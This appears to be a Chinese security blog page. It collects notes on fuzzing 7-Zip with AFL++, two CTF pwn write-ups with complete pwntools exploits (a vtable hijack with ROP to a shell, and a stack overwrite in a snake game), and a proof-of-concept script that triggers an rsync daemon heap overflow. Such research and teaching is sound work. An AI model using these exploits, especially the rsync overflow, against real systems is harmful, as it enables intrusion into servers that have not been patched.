包含关键字 Go 的文章

第一次尝试

使用 archlinux 的 p7zip PKGBULD,修改编译器为 afl-clang-lto(++)

编译时发现一个函数指针类型转换的报错,用 -Wno-cast-function-type-strict 参数来抑制。

准备了三个随便的 7z 文件,放进 input 文件夹直接开始。(@@ 表示输入文件目录,而不是从 stdin 输入)

AFL_SKIP_CPUFREQ=1 afl-fuzz -i input -o output -- ./7zr x @@

结果:🈚️(其实之后的所有尝试都没结果💦)

第二次尝试

准备了很多只有一个或几个文件,大小仅 100+ 字节的 7z 文件作为输入。

AFL_SKIP_CPUFREQ=1 afl-fuzz -i input -o output -- ./7zr x @@ -y

结果:覆盖率很快达到和第一次同样水平。

第三次尝试

了解到 7z 格式有 CRC 校验,估计大多数 fuzz 输入都死在校验上了。patch 源码去除校验:(应该使用 FUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION 宏)

static inline bool TestStartCrc(const Byte *p)
{
  (void)p; // 抑制 -Wunused-parameter
  return true;
}

if (CrcCalc(buffer2, nextHeaderSize_t) != nextHeaderCRC)
    ;

if (CrcCalc(data, unpackSize) != folders.FolderCRCs.Vals[i])
    ;

添加 -fsanitize=address -g 编译选项。添加 -so 运行选项,这样不会在目录里拉💩。

本来想加上 -si 参数从 stdin 输入压缩文件,应该可以大幅提升性能。但是 7z 格式竟然不支持,原因是 7z 有一部分文件头在文件末尾,解压前必须先读取。(意义不明...)

把整个 fuzzing 项目文件夹放在 tmpfs 里应该会更快吧,虽然 afl 官网教程推荐 ext2 + noatime。因为现在基本是在实验,暂时懒得配置 ext2 环境了。

AFL_USE_ASAN=1 AFL_SKIP_CPUFREQ=1 afl-fuzz -i input -o output -- ./7zr x @@ -y -so

结果:本来不抱什么希望,睡了个午觉起来竟然就真的收集到了很多 crashes,但都是 OOM,没什么实际意义。(用 KDE Ark 打开其中某个 input,直接 coredump 了。)

==589143==ERROR: AddressSanitizer: requested allocation size 0x207ffffffffffff (0x208000000001000 after adjustments for alignment, red zones etc.) exceeds maximum supported size of 0x10000000000 (thread T0)
    #0 0x6048688567e2 in operator new[](unsigned long) (/tmp/7zfuzz/7zr+0x1fa7e2) (BuildId: 8450a6b1d6712a80c42046efedb6d74eb798c38d)
    #1 0x604868c0e1e0 in CBuffer<unsigned char>::Alloc(unsigned long) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../Archive/7z/../../Common/../../Common/MyBuffer.h:72:18
    #2 0x604868c1f5bd in NArchive::N7z::CInArchive::ReadAndDecodePackedStreams(unsigned long, unsigned long&, CObjectVector<CBuffer<unsigned char>>&, ICryptoGetTextPassword*, bool&, bool&, UString&) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../Archive/7z/7zIn.cpp:1187:10
    #3 0x604868c280ce in NArchive::N7z::CInArchive::ReadDatabase2(NArchive::N7z::CDbEx&, ICryptoGetTextPassword*, bool&, bool&, UString&) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../Archive/7z/7zIn.cpp:1705:28
    #4 0x604868be4ddd in NArchive::N7z::CInArchive::ReadDatabase(NArchive::N7z::CDbEx&, ICryptoGetTextPassword*, bool&, bool&, UString&) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../Archive/7z/7zIn.cpp:1743:25
    #5 0x604868be4ddd in NArchive::N7z::CHandler::Open(IInStream*, unsigned long const*, IArchiveOpenCallback*) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../Archive/7z/7zHandler.cpp:708:30
    #6 0x604868dc6db4 in OpenArchiveSpec(IInArchive*, bool, IInStream*, unsigned long const*, IArchiveOpenCallback*, IArchiveExtractCallback*) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Common/OpenArchive.cpp:1599:3
    #7 0x604868dbc2ba in CArc::OpenStream2(COpenOptions const&) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Common/OpenArchive.cpp:2744:26
    #8 0x604868dc9229 in CArc::OpenStream(COpenOptions const&) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Common/OpenArchive.cpp:3024:3
    #9 0x604868dcb6c1 in CArc::OpenStreamOrFile(COpenOptions&) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Common/OpenArchive.cpp:3119:17
    #10 0x604868dcda76 in CArchiveLink::Open(COpenOptions&) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Common/OpenArchive.cpp:3295:28
    #11 0x604868dd277e in CArchiveLink::Open2(COpenOptions&, IOpenCallbackUI*) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Common/OpenArchive.cpp:3419:17
    #12 0x604868d49f6d in CArchiveLink::Open3(COpenOptions&, IOpenCallbackUI*) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Common/OpenArchive.cpp:3487:17
    #13 0x604868d49f6d in CArchiveLink::Open_Strict(COpenOptions&, IOpenCallbackUI*) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Common/../Common/OpenArchive.h:437:22
    #14 0x604868d49f6d in Extract(CCodecs*, CObjectVector<COpenType> const&, CRecordVector<int> const&, CObjectVector<UString>&, CObjectVector<UString>&, NWildcard::CCensorNode const&, CExtractOptions const&, IOpenCallbackUI*, IExtractCallbackUI*, IFolderArchiveExtractCallback*, IHashCalc*, UString&, CDecompressStat&) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Common/Extract.cpp:422:30
    #15 0x604868e55d25 in Main2(int, char**) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Console/Main.cpp:1378:21
    #16 0x604868e68411 in main /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Console/MainAr.cpp:132:11
    #17 0x7bc23b33f6b4 in __libc_start_call_main /usr/src/debug/glibc/glibc/csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #18 0x7bc23b33f768 in __libc_start_main /usr/src/debug/glibc/glibc/csu/../csu/libc-start.c:360:3
    #19 0x604868717a24 in _start (/tmp/7zfuzz/7zr+0xbba24) (BuildId: 8450a6b1d6712a80c42046efedb6d74eb798c38d)

==589143==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: allocation-size-too-big (/tmp/7zfuzz/7zr+0x1fa7e2) (BuildId: 8450a6b1d6712a80c42046efedb6d74eb798c38d) in operator new[](unsigned long)
==589143==ABORTING

这触发原理我还真没看明白,不过 7z 文件格式里有不少直接由用户控制长度的字段,出现这种情况也算正常吧。

第四次尝试

CPP/Common/MyBuffer.h 里内存分配相关的函数用 __attribute__((no_sanitize("address"))) 标记,这样就不会被 ASAN 追踪了。由于这些内存分配函数本来就是热点,所以性能提升了不少,也不会报无意义的 OOM 错误,而且应该不会错过什么漏洞(毕竟真的只是 new[] 而已)。

刚才发现 afl-llvm-cmplog 这个工具,通过插桩记录程序中的比较操作,帮助 afl++ 生成能触发关键路径的输入。要想启用,需要在编译时加上 AFL_LLVM_CMPLOG=1 环境变量,fuzz 时加上参数 -c 0。在面对需要特定文件格式输入(魔法头之类)的 fuzzing 时效果明显。

AFL_USE_ASAN=1 AFL_SKIP_CPUFREQ=1 afl-fuzz -i input -o output -- ./7zr x @@ -y -so

结果:map density 翻倍了!

wget https://www.gstatic.com/webp/gallery/1.webp -O input/1.webp
wget https://www.gstatic.com/webp/gallery/2.webp -O input/2.webp
wget https://www.gstatic.com/webp/gallery/3.webp -O input/3.webp
wget https://www.gstatic.com/webp/gallery/4.webp -O input/4.webp
wget https://www.gstatic.com/webp/gallery/5.webp -O input/5.webp
wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_01.webp -O input/test_01.webp
wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_02.webp -O input/test_02.webp
wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_03.webp -O input/test_03.webp
wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_04.webp -O input/test_04.webp
wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_05.webp -O input/test_05.webp
wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_06_lossless.webp -O input/test_06_lossless.webp
wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_06_lossy.webp -O input/test_06_lossy.webp
wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_07_lossless.webp -O input/test_07_lossless.webp
wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_07_lossy.webp -O input/test_07_lossy.webp
wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_08_lossless.webp -O input/test_08_lossless.webp
wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_08_lossy.webp -O input/test_08_lossy.webp
wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_09_large.webp -O input/test_09_large.webp

第五次尝试

AFL_QUIET=1

CC=afl-clang-lto CXX=afl-clang-lto++ ./configure --disable-shared
  • 2 Master
  • 4 AFL_USE_ASAN=1 AFL_USE_UBSAN=1 AFL_USE_CFISAN=1
  • 6 AFL_LLVM_CMPLOG=1 -l 2AT
  • 8 AFL_LLVM_LAF_ALL=1
  • 10
cd CPP/7zip/Bundles/Alone2/

export EXEPTOR_CONFIG=$(pwd)/libexeptor.yaml
export EXEPTOR_LOG=$(pwd)/exeptor.log

LD_PRELOAD=/tmp/exeptor/build/libexeptor.so make -j -f ../../cmpl_clang_x64.mak CC=afl-clang-lto CXX=afl-clang-lto++ USE_ASM=1 MY_ASM="uasm"

AFL_QUIET=1 AFL_LLVM_CMPLOG=1 LD_PRELOAD=/tmp/exeptor/build/libexeptor.so make -j -f ../../cmpl_clang_x64.mak CC=afl-clang-lto CXX=afl-clang-lto++ USE_ASM=1 MY_ASM="uasm"

AFL_LLVM_LAF_ALL=1 LD_PRELOAD=/tmp/exeptor/build/libexeptor.so make -j -f ../../cmpl_clang_x64.mak CC=afl-clang-lto CXX=afl-clang-lto++ USE_ASM=1 MY_ASM="uasm"

-f

llvm-ar rcs 7z.a ./b/c_x64/*.o

docker build . -t fuzz-7zip
docker run --rm -it --tmpfs /ramdisk:exec fuzz-7zip
cp -r /root/fuzz/ /ramdisk/ && cd /ramdisk/fuzz
export AFL_TESTCACHE_SIZE=256
AFL_FINAL_SYNC=1 afl-fuzz -i input -o output -M master -a binary -G 1024 -b 2 -- ./7zz_normal x -so -tzip @@
AFL_USE_ASAN=1 afl-fuzz -i input -o output -S sanitizer -a binary -G 1024 -b 4 -- ./7zz_sanitizer x -so -tzip @@
afl-fuzz -i input -o output -S cmplog -a binary -G 1024 -b 6 -c 0 -l 2AT -- ./7zz_cmplog x -so -tzip @@
afl-fuzz -i input -o output -S compcov -a binary -G 1024 -b 8 -- ./7zz_cmpcov x -so -tzip @@
#define Z7_ST
#include "../CPP/7zip/Archive/Common/DummyOutStream.h"
#include "../CPP/7zip/Common/CWrappers.h"
#include "7zAlloc.h"
#include "7zTypes.h"
#include "Alloc.h"
#include "Xz.h"
#include <string.h>
#include <unistd.h>
static const ISzAlloc alloc = {SzAlloc, SzFree};
static int isMT = False;
static CXzStatInfo stat;
class FakeOutStream : public ISequentialOutStream {
  public:
    // IUnknown
    STDMETHOD(QueryInterface)(REFIID, void **) { return S_OK; }
    STDMETHOD_(ULONG, AddRef)() { return 1; }
    STDMETHOD_(ULONG, Release)() { return 1; }
    // ISequentialOutStream
    STDMETHOD(Write)(const void *, UInt32 size, UInt32 *processedSize) {
        *processedSize = size;
        return S_OK;
    }
};
// Dummy input stream for fuzzing, construt with const uint8_t *Data, size_t
// Size
#include <algorithm>
class BufInStream : public ISequentialInStream {
  private:
    const uint8_t *_data;
    size_t _size;
    size_t _pos;

  public:
    BufInStream() : _data(nullptr), _size(0), _pos(0) {}
    void SetData(const uint8_t *data, size_t size) {
        _data = data;
        _size = size;
        _pos = 0;
    }
    // IUnknown
    STDMETHOD(QueryInterface)(REFIID, void **) { return S_OK; }
    STDMETHOD_(ULONG, AddRef)() { return 1; }
    STDMETHOD_(ULONG, Release)() { return 1; }
    // ISequentialInStream
    STDMETHOD(Read)(void *data, UInt32 size, UInt32 *processedSize) {
        if (_pos >= _size) {
            if (processedSize)
                *processedSize = 0;
            return S_OK;
        }
        UInt32 toRead = (UInt32)std::min<size_t>(size, _size - _pos);
        memcpy(data, _data + _pos, toRead);
        _pos += toRead;
        if (processedSize)
            *processedSize = toRead;
        return S_OK;
    }
    STDMETHOD(Seek)(Int64 offset, UInt32 seekOrigin, UInt64 *newPosition) {
        if (seekOrigin == STREAM_SEEK_SET)
            _pos = (UInt32)offset;
        else if (seekOrigin == STREAM_SEEK_CUR)
            _pos += (UInt32)offset;
        else if (seekOrigin == STREAM_SEEK_END)
            _pos = (UInt32)(_size + offset);
        if (newPosition)
            *newPosition = _pos;
        return S_OK;
    }
};
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {
    CXzDecMtHandle p = XzDecMt_Create(&alloc, &g_AlignedAlloc);
    CXzDecMtProps props;
    XzDecMtProps_Init(&props);
    BufInStream inStream;
    inStream.SetData(Data, Size);
    FakeOutStream outStream;
    CSeqInStreamWrap inWrap;
    CSeqOutStreamWrap outWrap;
    CCompressProgressWrap progressWrap;
    inWrap.Init(&inStream);
    outWrap.Init(&outStream);
    SRes res = XzDecMt_Decode(p, &props, NULL, CODER_FINISH_ANY, &outWrap.vt,
                              &inWrap.vt, &stat, &isMT, NULL);
    XzDecMt_Destroy(p);
    return 0;
}

CTFers

题目链接

程序有三个功能,增删查。新增时暂存名字用到了 name_buf,查询时有一个虚函数调用 Binary::infoWeb::info。另外还有一个隐藏后门 0xdeadbeef,可以修改一次 ctfers 首个元素的地址。既然程序没有开启 PIE,那么当然可以将地址改到 name_buf,从而在输入名字时伪造 CTFer 对象。但我们首先要知道这个对象里有什么。

BinaryWeb 继承自 CTFerstd::vector 存储这两种对象时仅存储其指针而丢弃了类型信息。然而我们依旧可以直接调用对应类型的 info,这是因为 C++ 运行时多态特性。虽然 C++ 标准并未规定,但大多数编译器实现它的方式是虚函数表。通过在对象中存储一个虚函数表指针指向存储对应成员函数指针的虚函数表来实现运行时多态。本题虚函数调用在此:

004025f4  mov     rdx, qword [rax]
004025f7  mov     rdx, qword [rdx]
004025fa  mov     rdi, rax
004025fd  call    rdx

CTFer 对象还用 STL 容器 std::vector 存储了名字字符串。其具体实现依赖编译器,但我们可以通过在 new 前后断点,查看新增堆块的内容来反推其结构。

以下是用 C 语言表示的 CTFer 对象:(符号名仅作参考)

struct CTFer {
    void (**vtable)(struct CTFer *);
    int64_t points;
    struct std_string {
        char *base;
        size_t length;
        union {
            size_t capacity;
            char buffer[16];
        };
    } nickname;
};

length < 16buffer 复用 capacity 内存而非单独 malloc,不过这并不重要。我们可以先恢复正确的虚函数表,然后修改 nickname base 指向 GOT 项,修改适当的 length,从而通过 print_info 泄露基址。

获得各个库的基址绕过 ASLR 后解法就十分自由了,只要找到栈迁移 gadget 即可执行任意代码。需要注意调用 info 虚函数时 RAX 和 RDI 都指向 CTFer 对象,也就是可控的 name_buf,可依此选择 gadget。

这里我们选用来自 libstdc++ 中的一个 COP gadget:

0x0000000000113764: mov rbp, rax; lea r12, [rax - 1]; test rdi, rdi; je 0x113c79; mov rax, qword ptr [rdi]; call qword ptr [rax + 0x30];

然后只需要在 name_buf 上写 ROP 链即可。

Exp:

from pwn import *
context(os='linux', arch='amd64')

e = ELF('./ctfers')
io = ...
libc = ELF('./libc.so.6', checksec=False)


def add(fake_object: bytes):
    io.sendlineafter(b'Choice > ', b'0')
    io.sendlineafter(b'Name > ', fake_object)
    io.sendlineafter(b'Points > ', b'0')
    io.sendlineafter(b'- 1 > ', b'0')


def show_info():
    io.sendlineafter(b'Choice > ', b'2')


def backdoor(address: int):
    io.sendlineafter(b'Choice > ', str(0xdeadbeef).encode())
    io.sendline(str(address).encode())


vtable = 0x408C98
cout = 0x409080
libc_start_main_got = e.got['__libc_start_main']
input_buf = e.sym['name_buf']

# 还原虚函数表指针,改 std::string 头指针为 got 项
add(cyclic(16) + p64(vtable) + p64(0) +
    p64(libc_start_main_got) + p64(8) + p64(8))
backdoor(input_buf + 16)
show_info()  # leak libc

io.recvuntil(b'I am ')
libc.address = u64(io.recv(8)) - 0x274c0 - 0x2900
success(f'libc_base: 0x{libc.address:x}')

add(cyclic(16) + p64(vtable) + p64(0) + p64(cout) + p64(8) + p64(8))
backdoor(input_buf + 16)
show_info()  # leak libstdc++

io.recvuntil(b'I am ')
libstdcxx_base = u64(io.recv(8)) - 0x223370
success(f'libstdcxx_base: 0x{libstdcxx_base:x}')

# mov rbp, rax; lea r12, [rax - 1]; test rdi, rdi; je 0x113c79; mov rax, qword ptr [rdi]; call qword ptr [rax + 0x30];
magic = libstdcxx_base + 0x0000000000113764
leave = 0x0000000000402a63
pop_rax = libstdcxx_base + 0x00000000000da536
pop_rbp = libstdcxx_base + 0x00000000000aafb3
one_gadget = libc.address + 0xebd43
add(cyclic(16) + p64(input_buf + 8 + 16) + p64(magic) +
    
    p64(pop_rax) +
    p64(0) +
    p64(pop_rbp) +
    p64(0x4093a0) +
    p64(one_gadget) +
    
    p64(leave))
show_info() # 栈迁移 ROP

io.interactive()

Payload 有时会被空白字符截断,可能需要多次尝试。另外,类似虚函数表劫持的利用手法一般需要通过 UAF 构造重叠堆块来控制虚函数表指针。本题在删除 CTFer 时仅调用了 std::vector#remove(...),由于 ctfers 中存储的是 CTFer *remove 并不会调用 CTFer 对象的析构器也不会释放其内存。题目初版有 delete 也有 UAF,后简化为给一个后门函数并关闭 PIE。

miniLCTF{In_real_scenarios_you_need_a_UAF}

MiniSnake

题目链接

程序存在后门函数且没有开启 PIE。漏洞点是 events_handler 线程同时处理撞墙和得分,但是用于闪烁显示“GOT POINT!”的 thrd_sleep 会阻塞线程从而使 events_handler 有可能错过撞墙事件处理。通过源码可以看出地图存储在栈上,蛇身也在显示前先写入地图中。如果开始游戏前选择“Numeric skin”则可以向栈上写入任意数值,在得分之后立即撞墙则可以穿墙越界写入。

需要找到合适的种子生成合适的初始蛇或食物从而写入后门函数地址。得到合适的种子很简单,只需要照着程序逻辑写一个爆破程序即可。

#include <limits.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>

int main(void) {
    for (int seed = 0; seed < INT_MAX; ++seed) {
        srandom(seed);
        if (random() % (UINT8_MAX - 1) + 1 == 0x40 &&
            random() % (UINT8_MAX - 1) + 1 == 0x16 &&
            random() % (UINT8_MAX - 1) + 1 == 0x4D) {
            printf("FOUND SEED: %d\n", seed);
        }
    }
    return 0;
}

但是返回地址在地图外的哪里?还得小心 stack canary。如果动态调试寻找的话会十分折磨。可以考虑用 keypatch 等工具修改程序中地图显示的高度从而快速定位返回地址的位置。(也可考虑修改源码再编译)

.text:0000000000401DDB
.text:0000000000401DDB loc_401DDB:                             ; CODE XREF: draw+83↑j
.text:0000000000401DDB                 cmp     [rbp+var_18], 11h ; Keypatch modified this from:
.text:0000000000401DDB                                         ;   cmp [rbp+var_18], 0Fh

.text:000000000040249F                 mov     edi, 14h        ; int
.text:000000000040249F                                         ; Keypatch modified this from:
.text:000000000040249F                                         ;   mov edi, 12h

Patch 后再次启动程序就可以看到效果(可能需要调整下终端宽高):

*--------------------------------*
|                                |
|      aa                        |
|            ac                  |
|                        b49182  |
|                                |
|                                |14 3
|                                |
|                10              |
|        ca                      |
|                              ab|
|            1b            de    |
|    98                          |
|            ad      be          |
|                                |
|                                |
|                                |
|d0eb1212ff7f      f3584b5c7e1f54|
|20ec1212ff7f    a32640          |
*--------------------------------*

可以看到返回地址就在右下角,其上是 stack canary。

合适的种子可以是 16183281,此时初始蛇身就是后门函数地址。接下来穿墙到达返回地址的位置按 Q 退出即可。记下拐弯时的坐标方便攻击远程环境。

miniLCTF{secret_destination_behind_walls}

某天在 archlinux 主页看到建议立即更新 Rsync 的警告,看了下感觉复现难度不高,于是来试试。

Rsync 版本 31.0,采用默认配置 ftp 模式。远程服务器上随便放一个 libc.so.6 文件作为测试(文件本身是什么不重要,但是要稍大一些)。

漏洞的具体分析在 Google 的这篇文章写得很清楚,我就不赘述了。简单来说就是在 rsync daemon 文件同步过程中,客户端上传用于比对文件是否一致的校验和 sum2 时,用于控制其长度的 s2length 用户可控且最大值大于 sum2 缓冲区长度。(怀疑是某次更新时被杂乱的宏定义搞晕了)伪造 s2length 即可构造最长 48 字节的堆上缓冲区溢出,威力极强。

    #!/usr/bin/python
    
    from pwn import *
    
    context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
    binary = './rsync'
    
    io = connect('127.0.0.1', 873) # 远程服务器 rsync --daemon
    e = ELF(binary)
    libc = ELF('/usr/lib/libc.so.6', checksec=None)
    
    # gdb.attach(p, 'b *$rebase(0x22068)')
    
    io.sendlineafter(b'@RSYNCD: 31.0 sha512 sha256 sha1 md5 md4', b'@RSYNCD: 31.0 sha512 sha256 sha1 md5 md4')
    io.sendline(b'ftp')
    io.sendafter(b'@RSYNCD: OK', bytes.fromhex('2d2d736572766572002d2d73656e646572002d766c6f67447470727a652e694c73667843497675002e006674702f6c6962632e736f2e3600001e7878683132382078786833207878683634206d6435206d64342073686131137a737464206c7a34207a6c696278207a6c69620400000700000000130000070200a0')) # 复现正常的协议交换过程等
    # cksum count, block length, cksum length, remainder length
    io.sendafter(b'root', p32(1) + p32(64) * 2 + p32(0))
    io.send(p32(0x07000044) + p32(0xcafebabe) + cyclic(64)) # 0x07000044 为消息头,0xcafebabe 为 sum,cyclic(64) 为 sum2(长度最大 16 字节,溢出 48 字节)
    
    io.recvall()

堆缓冲区溢出效果:

img

img

虽然但是,做 CTF glibc heap Pwn 做得有点恶心了,并不想写 exploit...(懒)